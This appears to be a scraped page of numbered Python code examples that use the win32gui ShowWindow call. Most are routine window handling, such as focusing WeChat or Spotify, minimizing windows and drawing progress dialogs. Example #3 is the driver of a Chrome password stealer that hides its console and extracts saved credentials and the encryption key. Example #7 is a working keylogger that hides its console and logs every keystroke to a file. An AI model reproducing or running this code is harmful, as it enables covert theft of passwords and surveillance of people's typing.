Beispiel #1
0
def QQSend(receiver, msg, send: 'bool' = True):
    clipboard = paste()
    copy(msg)
    windows = getAllWindows()
    result = False
    for each in range(len(windows)):
        if windows[each] == receiver:
            result = True
            break
        elif windows[each].find(receiver) != -1 and windows[each].find(
                '个会话') != -1:
            receiver = windows[each]
            result = True
            break
    if result:
        QQ = FindWindow('TXGuiFoundation', receiver)
        ShowWindow(QQ, 1)
        SendMessage(QQ, WM_PASTE, 0, 0)
        if send:
            SendMessage(QQ, WM_KEYDOWN, VK_RETURN)
            ShowWindow(QQ, 6)
        copy(clipboard)
        return 0
    else:
        copy(clipboard)
        return -1
    def region_capture(self):
        gif_app = GetForegroundWindow()
        ShowWindow(gif_app, SW_MINIMIZE)

        self.capture_instance = RegionGrab()
        prev_img = self.capture_instance.preview_region()
        ShowWindow(gif_app, SW_RESTORE)
        set_foreground(gif_app)

        return prev_img
Beispiel #3
0
def main(argv: List[str] = argv[1:]) -> int:
    """
    This function starts the ChromePasswordStealer
    from the command line.
    """

    global printf

    arguments = parse_args()

    if not arguments.window:
        printf = lambda *x: None
        ShowWindow(GetConsoleWindow(), 0)
    else:
        printf = partial(printf, end="\n")

    printf("Arguments parsed, mode console.", "INFO")

    stealers = (ChromePasswordsStealer, ChromiumPasswordsStealer)
    filename = arguments.filename
    save_all = arguments.save_all
    stealer = None
    counter = 0
    while not isinstance(stealer, ChromiumPasswordsStealer):
        stealer = stealers[counter](
            f"{filename}{counter}" if filename is not None else None, save_all)
        counter += 1

        printf(f"Stealer created, save filename: {stealer.filename!r}")
        printf(
            f"Get DB path: {stealer.db_path!r}, Key file path: {stealer.key_file!r}",
            "INFO",
        )

        if not stealer.get_database_cursor():
            printf("DB not found...", state="NOK")
            continue

        printf("DB connection done.")

        key = b16encode(stealer.get_key() or b"").decode("latin-1")
        printf(f"Get encryption key: {key!r}")

        for url, username, password in stealer.get_credentials():
            printf(f"Get credentials for {url!r}: {username!r} {password!r}")

        stealer.save_and_clean()
        printf("Temp files are cleaned, credentials are saved.", "INFO")

    if not arguments.window:
        ShowWindow(GetConsoleWindow(), 1)

    return 0
Beispiel #4
0
 def _set_foreground(self, grid=None):
     if grid is None:
         grid = self._trader.main
     if grid.has_style(pywinauto.win32defines.WS_MINIMIZE):  # if minimized
         ShowWindow(grid.wrapper_object(), 9)  # restore window state
     else:
         SetForegroundWindow(grid.wrapper_object())  # bring to front
Beispiel #5
0
def _show_windows(handles, command, redraw_now=False):
    """Sets the specified window's show state.

    Parameters
    ----------
    handles: list of window handles
    command: one of following commands:
    SW_FORCEMINIMIZE:
        Minimizes a window, even if the thread that owns the window is not
        responding. This flag should only be used when minimizing windows
        from a different thread.
    SW_HIDE:
        Hides the window and activates another window.
    SW_MAXIMIZE:
        Maximizes the specified window.
    SW_MINIMIZE:
        Minimizes the specified window and activates the next top-level window
        in the Z order.
    SW_RESTORE:
        Activates and displays the window. If the window is minimized or
        maximized, the system restores it to its original size and position.
        An application should specify this flag when restoring a minimized
                    window.
    SW_SHOW:
        Activates the window and displays it in its current size and position.
    SW_SHOWDEFAULT:
        Sets the show state based on the SW_ value specified in the STARTUPINFO
        structure passed to the CreateProcess function by the program that
        started the application.
    SW_SHOWMAXIMIZED:
        Activates the window and displays it as a maximized window.
    SW_SHOWMINIMIZED:
        Activates the window and displays it as a minimized window.
    SW_SHOWMINNOACTIVE:
        Displays the window as a minimized window. This value is similar to
        SW_SHOWMINIMIZED, except the window is not activated.
    SW_SHOWNA:
        Displays the window in its current size and position. This value is
        similar to SW_SHOW, except the window is not activated.
    SW_SHOWNOACTIVATE:
        Displays a window in its most recent size and position. This value is
        similar to SW_SHOWNORMAL, except the window is not actived.
    SW_SHOWNORMAL:
        Activates and displays a window. If the window is minimized or
        maximized, the system restores it to its original size and position.
        An application should specify this flag when displaying the window for
        the first time.

    redraw_now :

    """
    # pylint: disable=no-member
    for handle in handles:
        if not handle == 0:
            BringWindowToTop(handle)
            ShowWindow(handle, command)
            if redraw_now:
                rect = GetWindowRect(handle)
                win32gui.RedrawWindow(handle, rect, None,
                                      win32con.RDW_UPDATENOW)
Beispiel #6
0
def minimize_window(window_name: Text,
                    delay: Union[float, int] = 1.0) -> NoReturn:
    """Minimizes window.

    window_name: Name of the window that needs to be minimize.
                 The name can be fuzzy.
    delay:       Delay with which the window should be minimized.
                 Default: 1 sec.

    Minimizes the window frame.

    Note: It is recommended to use when the process starts and needs to
    be minimized.
    """
    # You can find the reference code here:
    # https://stackoverflow.com/questions/25466795/how-to-minimize-a-specific-window-in-python?noredirect=1&lq=1
    from time import sleep
    from win32con import SW_MINIMIZE
    from win32gui import FindWindow, ShowWindow

    # Delaying the window minimizing by 1 sec by default.
    sleep(delay) if delay else sleep(1.0)
    # Minimizes window using the `str_match` function (fuzzy match).
    ShowWindow(FindWindow(None, str_match(window_name, list_windows())),
               SW_MINIMIZE)
Beispiel #7
0
    def Keylogger(event):
        #######################
        # Usadas on Keylogger #
        #######################
        from win32console import GetConsoleWindow
        from win32gui import ShowWindow
        from pythoncom import PumpMessages
        from pyHook import HookManager
        from time import sleep
        win = GetConsoleWindow()
        ShowWindow(win, 0)

        def OnKeyboardEvent(event):
            if event.Ascii == 5:
                _exit(1)
            if event.Ascii != 0 or 8:
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+')
                buffer = f.read()
                f.close()
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 13:
                    keylogs = '/n'
                buffer += keylogs
                f.write(buffer)
                f.close()
                #print buffer

        hm = HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        #sleep(10)
        PumpMessages()
Beispiel #8
0
 def get_wind_by_title(self):
     """显示窗口(此处显示微信)"""
     from win32gui import FindWindow, SetForegroundWindow, ShowWindow
     from win32con import SW_RESTORE
     hwnd = FindWindow("WeChatMainWndForPC", None)
     # text = GetWindowText(hwnd)
     SetForegroundWindow(hwnd)
     ShowWindow(hwnd, SW_RESTORE)
Beispiel #9
0
def GetWindByTitile():
    """显示窗口(此处显示微信)"""
    from win32gui import FindWindow, SetForegroundWindow, ShowWindow, GetWindowText
    from win32con import SW_RESTORE
    hwnd = FindWindow("WeChatMainWndForPC", None)
    # text = GetWindowText(hwnd)
    SetForegroundWindow(hwnd)
    ShowWindow(hwnd, SW_RESTORE)
Beispiel #10
0
def _show_figure(figure_numbers, command):
    """Sets the specified figure's show state.

    Parameters
    ----------
    figure_numbers: list of figure numbers
    command: one of following commands:
    SW_FORCEMINIMIZE:
        Minimizes a window, even if the thread that owns the window is not
        responding. This flag should only be used when minimizing windows
        from a different thread.
    SW_HIDE:
        Hides the window and activates another window.
    SW_MAXIMIZE:
        Maximizes the specified window.
    SW_MINIMIZE:
        Minimizes the specified window and activates the next top-level window
        in the Z order.
    SW_RESTORE:
        Activates and displays the window. If the window is minimized or
        maximized, the system restores it to its original size and position.
        An application should specify this flag when restoring a minimized
        window.
    SW_SHOW:
        Activates the window and displays it in its current size and position.
    SW_SHOWDEFAULT:
        Sets the show state based on the SW_ value specified in the STARTUPINFO
        structure passed to the CreateProcess function by the program that
        started the application.
    SW_SHOWMAXIMIZED:
        Activates the window and displays it as a maximized window.
    SW_SHOWMINIMIZED:
        Activates the window and displays it as a minimized window.
    SW_SHOWMINNOACTIVE:
        Displays the window as a minimized window. This value is similar to
        SW_SHOWMINIMIZED, except the window is not activated.
    SW_SHOWNA:
        Displays the window in its current size and position. This value is
        similar to SW_SHOW, except the window is not activated.
    SW_SHOWNOACTIVATE:
        Displays a window in its most recent size and position. This value is
        similar to SW_SHOWNORMAL, except the window is not actived.
    SW_SHOWNORMAL:
        Activates and displays a window. If the window is minimized or
        maximized, the system restores it to its original size and position.
        An application should specify this flag when displaying the window for
        the first time.

    """
    for number in _parse_figure_numbers(*figure_numbers):
        for format_ in FIGURE_TITLE_FORMATS:
            title = format_ + ' %d' % number
            handle = FindWindow(None, title)
            if not handle == 0:
                BringWindowToTop(handle)
                ShowWindow(handle, command)
Beispiel #11
0
 def on_create(self, hwnd, message, wparam, lparam):
     set_timer(30000, self.on_timer)
     SetWindowLong(hwnd, GWL_STYLE, WS_POPUP | WS_CHILD)
     SetWindowLong(hwnd, GWL_EXSTYLE,
                   WS_EX_LAYERED | WS_EX_TOPMOST | WS_EX_TOOLWINDOW)
     SetWindowPos(self.hwnd, 0, 0, 0, 200, 200, SWP_NOMOVE | SWP_NOZORDER)
     SetWindowPos(self.hwnd, HWND_TOPMOST, 0, 0, 0, 0,
                  SWP_NOMOVE | SWP_NOSIZE)
     SetWindowPos(self.hwnd, 0, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOZORDER)
     ShowWindow(self.hwnd, SW_SHOW)
Beispiel #12
0
    def __prepare_screen(self):
        #TODO : RESET WINDOW SIZE TO MAKE IT WOKR PERFECTLY WITH THE POSITIONS BELOW
        #put the cmd dialog at top most
        self.cmd_whnd.SetWindowPos(-1, self.cmd_window_pos,
                                   0x0040)  #top_most:-1

        #maximize the bid window, which is a webpage at the moment
        ShowWindow(self.bid_whnd, 3)  #MAX:3

        self.__bring_myself_to_Foreground()
Beispiel #13
0
    def events(self):

        self.interface.events(self.event_handler)
        self.state_events(self.event_handler)

        if self.close_button.pressed:
            self.running = False

        if self.hide_button.pressed:
            minimize = GetForegroundWindow()
            ShowWindow(minimize, SW_MINIMIZE)
Beispiel #14
0
def Focus(window):
    def windowEnumerationHandler(hwnd, top_windows):
        top_windows.append((hwnd, GetWindowText(hwnd)))

    top_windows = []
    EnumWindows(windowEnumerationHandler, top_windows)
    for i in top_windows:
        if window in i[1].lower():
            ShowWindow(i[0], 5)
            SetForegroundWindow(i[0])
            return
Beispiel #15
0
    def BuildWindow(self):
        width = 400
        height = 100
        self.dialog = CreateWindowEx(
            win32con.WS_EX_TOPMOST,
            WC_DIALOG,
            self.title + ' (0%)',
            win32con.WS_VISIBLE | win32con.WS_OVERLAPPEDWINDOW,
            int(round(
                GetSystemMetrics(win32con.SM_CXSCREEN) * .5 - width * .5)),
            int(round(
                GetSystemMetrics(win32con.SM_CYSCREEN) * .5 - height * .5)),
            width,
            height,
            0,
            0,
            self.hinst,
            None)
        self.progbar = CreateWindow(
            #                             win32con.WS_EX_DLGMODALFRAME,
            'msctls_progress32',
            '',
            win32con.WS_VISIBLE | win32con.WS_CHILD,
            10,
            10,
            width - 30,
            20,
            self.dialog,
            0,
            0,
            None)
        if self.can_abort:
            self.button = CreateWindow(
                #                             win32con.WS_EX_DLGMODALFRAME,
                'BUTTON',
                'Cancel',
                win32con.WS_VISIBLE | win32con.WS_CHILD | win32con.BS_PUSHBUTTON,  # @IgnorePep8
                int(width / 2.75),
                40,
                100,
                20,
                self.dialog,
                0,
                0,
                None)
        self.oldWndProc = SetWindowLong(
            self.dialog,
            win32con.GWL_WNDPROC,
            self.DlgProc)
        SendMessage(self.progbar, PBM_SETRANGE, 0, MAKELPARAM(0, self.max_val))
#        win32gui.SendMessage(self.progbar, PBM_SETSTEP, 0, 10)
#        win32gui.SendMessage(self.progbar, PBM_SETMARQUEE, 0, 0)
        ShowWindow(self.progbar, win32con.SW_SHOW)
def go():
	try:
		HP.VersionCheck()
		ShowWindow(GetForegroundWindow(), SW_MINIMIZE)
		root = Tk()
		root.geometry('%dx%d+%d+%d' % HP.CenterWindow(root, 50, 275))
		root.wm_attributes("-topmost", 1)
		Insults,Praise = HP.GenInsultsNPraise()
		e = HealslutMaster(root,  HP.GenFolders(), HP.GenUserInfo(), 
			HP.GenBackgroundList(), HP.GenUserPref(), Insults, Praise)
		print('Healslut Master is now live \n')
		root.mainloop()
	except Exception as e:
		HP.HandleError(format_exc(2), e, 'healslutmaster.go', subj='')
def focus_on(name):
    count = 0
    # search until found
    while True:
        count += 1
        w = find_starting_with(name)
        press('alt')
        sleep(0.2)
        press_and_release('tab')
        release('alt')
        if w != 0:
            try:
                ShowWindow(w, 6)
                ShowWindow(w, 9)
                sleep(4)
                SetForegroundWindow(w)
                return 1
            except Exception as e:
                print(e)
                sleep(0.5)
        if count > 20:
            print("ERROR: Couldn't find the browser tab.")
            return 0
        sleep(0.5)
Beispiel #18
0
def Focus(window):

    def windowEnumerationHandler(hwnd, top_windows):
        top_windows.append((hwnd, GetWindowText(hwnd)))

    top_windows = []
    info("Focus() scanning active windows")
    EnumWindows(windowEnumerationHandler, top_windows)
    for i in top_windows:
        if window in i[1].lower():
            info("Focus() valid window found. focusing on window")
            ShowWindow(i[0],5)
            SetForegroundWindow(i[0])
            return
    info("Focus() no valid window found")
Beispiel #19
0
 def hideSpotify(self) -> None:
     self.win.set_transparency(0)
     ShowWindow(self.win.handle, SW_SHOWNOACTIVATE)
     sleep(0.1)
     self.posY = self.base.rectangle().top
     SetWindowPos(self.win.handle, HWND_BOTTOM, 0, 0, 0, 0, BOTTOM_FLAGS)
     self.win.move_window(y=-50)
     if self.win.has_focus():
         if self.hideloop > 9:
             self.hideloop = 0
         try:
             SetForegroundWindow(DESKTOP_HWND)
             self.hideloop = 0
         except:
             self.hideloop += 1
             self.hideSpotify()
    def captureAlbumArt(self):
        while (self.windowHandle != GetForegroundWindow()):
            SetForegroundWindow(self.windowHandle)
            time.sleep(
                WAIT_TIME)  ## Give Spotify a moment to come to the foreground
        ShowWindow(self.windowHandle, SW_SHOWMAXIMIZED)
        time.sleep(WAIT_TIME)  ## Give Spotify a second to become maximized

        ## Get the edges of the window
        left, top, right, bottom = GetWindowRect(self.windowHandle)
        left += self.artOffsets[0]
        bottom -= self.artOffsets[1]
        ## Get the album art's location from those edges and user specified offsets.
        region = (left, bottom - self.artSideLength, left + self.artSideLength,
                  bottom)
        return pyscreenshot.grab(bbox=region, childprocess=False)
Beispiel #21
0
def hideSpotify():  # This function is for sure confusing, as it was for
    def get_hwnds_for_pid(
            pid):  # me, but it gets the hwnd of spotify from the pid
        def callback(hwnd,
                     hwnds):  # in order to minimize it to the SystemTray later
            if IsWindowVisible(hwnd) and IsWindowEnabled(hwnd):
                _, found_pid = GetWindowThreadProcessId(hwnd)
                if found_pid == pid:
                    hwnds.append(hwnd)
            return True

        hwnds = []
        EnumWindows(callback, hwnds)
        return hwnds

    processes_names = {}

    for proc in psutil.process_iter(['pid', 'name']):
        processes_names[proc.name()] = proc

    if 'Spotify.exe' in processes_names:
        main = processes_names["Spotify.exe"].pid
        parent = processes_names["Spotify.exe"].parent().pid

        if parent is None:
            spotify_handles = get_hwnds_for_pid(main)

        else:
            spotify_handles = get_hwnds_for_pid(parent)

        for handle in spotify_handles:
            ShowWindow(handle, SW_HIDE)
            # Spotify has to be running in order for spotibar to work, so if it's
    if "Spotify.exe" not in processes_names:  # not running an error popup window will appear.
        sg.PopupError(
            "Spotify has to be running\nin order to use this program\n",
            no_titlebar=True,
            background_color="#212121",
            font="ProximaNova 15",
            grab_anywhere=True,
            text_color="#b3b3b3",
            keep_on_top=True)

        exit()
Beispiel #22
0
    def _show_or_hide_browser(self, hide: bool = True) -> None:
        from platform import system
        if system().lower() != 'windows':
            raise OSError('该方法只能在Windows系统使用。')

        try:
            from win32gui import ShowWindow
            from win32con import SW_HIDE, SW_SHOW
        except ImportError:
            raise ImportError('请先安装:pip install pypiwin32')

        pid = self.get_browser_progress_id()
        if not pid:
            print(
                '只有设置了debugger_address参数才能使用 show_browser() 和 hide_browser()')
            return
        hds = _get_chrome_hwnds_from_pid(pid)
        sw = SW_HIDE if hide else SW_SHOW
        for hd in hds:
            ShowWindow(hd, sw)
Beispiel #23
0
def RunVideoWallpaper(player_window_handel):#设置视频壁纸
    if(player_window_handel!=0):
        #查找桌面窗口
        desktop_window_handel = FindWindow("Progman", "Program Manager")
        #设置player_window为desktop_window的子窗口
        SetParent(player_window_handel, desktop_window_handel)
        #核心语句,向desktop_window发送0x52C启用Active Desktop
        SendMessageTimeout(desktop_window_handel, 0x52C, 0, 0, SMTO_ABORTIFHUNG, 100)
        #因为有两个同类同名的WorkerW窗口,所以遍历所以顶层窗口
        workerw=[0]
        EnumWindows(_MyCallback, workerw)
        #获取player_windows名称
        player_windows_name = GetWindowText(player_window_handel)
        while(True):#防止win+tab将player_window发送到图标窗口的父窗口(原因不明)及SetParent导致静态壁纸窗口重新出现
            #隐藏静态壁纸窗口
            ShowWindow(workerw[0], SW_HIDE)
            #判断player_window是否在desktop_window下
            player_under_desktop = FindWindowEx(desktop_window_handel, None, "SDL_app", player_windows_name)
            if(player_under_desktop==0):#如果player_window位置不正确
                #将player_window设置为desktop_window的子窗口
                SetParent(player_window_handel, desktop_window_handel)
Beispiel #24
0
    def new_window(self, win, parent=None, *, title=None, contents):
        template = (title, (0, 0, 0, 0), WS_OVERLAPPEDWINDOW)
        handlers = {
            WM_INITDIALOG: partial(self.on_init_dialog, win),
            WM_DESTROY: partial(self.on_destroy, win),
            WM_CLOSE: partial(self.on_close, win),
            WM_SIZE: partial(self.on_size, win),
            WM_COMMAND: partial(self.on_command, win),
            WM_NOTIFY: partial(self.on_notify, win),
        }
        win.contents = contents

        win.commands = dict()
        win.id = 1024

        if parent:
            parent = parent.hwnd

        win.init_exc = None  # Tunnel exceptions raised during WM_INITDIALOG
        try:
            CreateDialogIndirect(None, (template, ), parent, handlers)
            if win.init_exc:
                raise win.init_exc
        finally:
            del win.init_exc

        (left, top, _, _) = GetWindowRect(win.hwnd)
        width = round(80 * win.x_unit) + round(160 * win.x_unit)
        height = round(250 * win.y_unit)
        width += GetSystemMetrics(SM_CXSIZEFRAME) * 2
        height += GetSystemMetrics(SM_CYSIZEFRAME) * 2
        height += GetSystemMetrics(SM_CYCAPTION)
        MoveWindow(win.hwnd, left, top, width, height, 0)

        ShowWindow(win.hwnd, SW_SHOWNORMAL)
        self.visible.add(win)
 def start_recording(self):
     gif_app = GetForegroundWindow()
     ShowWindow(gif_app, SW_MINIMIZE)
     self.capture_instance.start_capture()
Beispiel #26
0
    def winDiscovery(self,
                     appName=None,
                     winTitle=None,
                     beginTitle=None,
                     skipTitle=None):
        """ support finding and focusing on application window or simple window
        title. Find the index and focuses on the first match of any of these.
        Applications within the application dictionary could have a number
        window_titles associated. """
        wins = {}
        hwin = None
        index = None
        self.skipTitle = skipTitle
        # numerate windows into dictionary  "wins" through callback function
        EnumWindows(self._callBack_popWin, wins)
        # clear the skip title that was passed into this function
        self.skipTitle = None
        total_windows = len(wins)
        # creating match lists for window titles
        namelist = []
        partlist = []
        if winTitle:
            namelist.append(winTitle)
        elif beginTitle:
            for v in wins.values():
                if v.startswith(beginTitle):
                    namelist.append(v)

        if appName:
            # trying to find window title of selected application within window
            # dictionary( local application context). Checking that the window
            # exists and it has supporting local application context (appDict)
            app = self.appDict[str(appName)]
            # app is an AppWindow object
            # checking if the window names is a list, handle string occurrence
            try:
                if app.winHandle:
                    ShowWindow(int(hwin), 1)  #SW_RESTORE)
                    SetForegroundWindow(int(hwin))
                    #SetActiveWindow(int(hwin))
                    return (str(hwin), wins)
            except:
                pass
            # check if winNames is a list and add name to append to namelist
            if getattr(app.winNames, 'append', None):
                namelist = namelist + app.winNames
            else:
                namelist.append(app.winNames)

        # iterate through populated list of potential window titles
        for name in namelist:
            try:
                for title in wins.values():
                    if name in title:
                        index = wins.values().index(title)
                        break
            except:
                pass

        if index is not None:
            #            logging.debug("index of application window: %s = %d" %
            #                          (wins[index],index))
            hwin = (wins.keys())[index]
            logging.debug("Name: {0}, Handle: {1}".format(
                wins[hwin], str(hwin)))
            try:
                app.winHandle = hwin
            except:
                pass
            # ShowWindow and SetForegroundWindow are the recommended functions
            ShowWindow(int(hwin), 1)  #SW_RESTORE)
            SetForegroundWindow(int(hwin))
            #SetActiveWindow(int(hwin))
            #app.winRect = wg.GetWindowRect(hwin)
            return (str(hwin), wins)
        else:
            return (None, wins)
Beispiel #27
0
def get_wind_by_title(name):
    """显示窗口"""
    hwnd = FindWindow(None, name)
    # text = GetWindowText(hwnd)
    SetForegroundWindow(hwnd)
    ShowWindow(hwnd, SW_RESTORE)
Beispiel #28
0
def showMainWindowFromMonitor(window):
    ShowWindow(window, 5)
    pressAlt()
    SetForegroundWindow(window)
Beispiel #29
0
def AsciiArt():
    sleep(5)
    #maximize program
    info("AsciiArt() maximizing window")
    hwnd = GetForegroundWindow()
    ShowWindow(hwnd, SW_MAXIMIZE)
    #print art
    zelda=(
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWNNXXKKKKXXXNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXK00OOOOOOOO000000KKXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0kkxxdxxxkkkkkOOOOO000OkxxkOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxlclloodddxxkOkOOOOOOOOOOkdlloxOO0XWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c;:cllodddxxxxkkkkkOOO00OOkxoc:odoldO0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0:,clooooooolloddxkkkkxkkxxxxxdl::c;':c:o0NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0c;lodkkOxl;;:dO00OkxkOkxxddocclllc,.....:oxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKoclodkkOOOo:cxO0KXNXOkO0kxdxxdolc::;.. ..:cldOXWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNxllooddxkxdc;lxKX00XNXOkOOxddddxxdl:,.....',cdkO0KXNWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOllllodOKK0kc,,;xXKOO0XKkkOxooodooxxo;......,coddxxxxkO0KKXXNNWNNNXXXXKKKKKKKKXXXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxclodxk0XNKd;,,,cO0kddkOkxkxolcoo:;llc;..'',;;;;cllodddddxxkkOOOkkkkkxxdxxxxxxxxxkO0KXNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWWMW0lcodxxkKXNO::cloldOkocoddxxkdcccdxc,::;,,''''.,:odxkkkkkxxxxxxkkkxxddddxxkkOOkxxxxkxxkkO0KXNNWMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNXXOl:llldxkO0XkclxkOxdkkd::llodxdcclcoxc;:;''''.',;cldxxkkkkkkkkkxxxxdddddxxkkkkkxddddddddxxxxkkO0KXXXNNWWWMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNKdc:;:::ooxolkxloOKXXOdxdl;;::cool:lo::dc;;;'.',',;:clloddddddxxddddddddooooooooll::::ccccllloooddxxxxxkkOO0NMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo;',,;clol;cdcckXNWXxlolc:;;::cc::l:',c:;,'..',;;,',;:coddddddddoollc:;;,,,''''..'',;::ccclllllloooddxxkk0NMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXx:''.'cccc::cc:cxXWWKdlllc::;;;:;;:;'..',,'...';:;,,;:cllllllcc:;,'....',:cllooodddddxxxxkkkOO0KKXXNNWWMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXl',..:l::cllc::coOXWXdlooccc:;;;,,,'.........';::;;;;;;;;,,,'...';ldk0KNWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxxXWMMMMMNkxl'.;ol:cdxdc;cccoOKKxdxolol:;,'''.........',,,,,''''......;cdOKNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWO:,cdONXKKKKNO:',colcdO0OxkKOddk0Kkxoc;'.':,','..'.''.  .'coddolloodxOKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMKxoc:;;:;...'ok:.,;clox0NNNNNNXKKKXOocc;;:ooc;,,':dlokkdlccxKNWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNNNNWWWMMMMMMMMMMWKxdoc;,'.. ...','..;:cldOXNWWWWWNXXXklxOkxxxoc,...lXWXXWMMMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOOXNXXXNNWWMMMMMMMXxdoc;'........,c:..;:;:cdKNWWWWWNXXKxldO0OOkd:....:KWMWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWX0xoxKOkOOKK00KNWWMMNklooc;'.''....;xd:,',:;,cxOKNNWWNXKXKdldkOOkdc'.....:xNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKkdodd0NKOddOkxxxO0KNNKxooodoolllcc::ldlcc:',;',oO0KXXNNX0Oxoddxxdo;. ......'lONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
        "MMMMMMMMMMMMMMMMMMMMMMMMMMMWKxlooookXNOxddxkO0kddxKXXXK0Okkxkkxxxxddolccc:';,.,lk0KKKK0Okxddddoc'   ......',:oONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM",
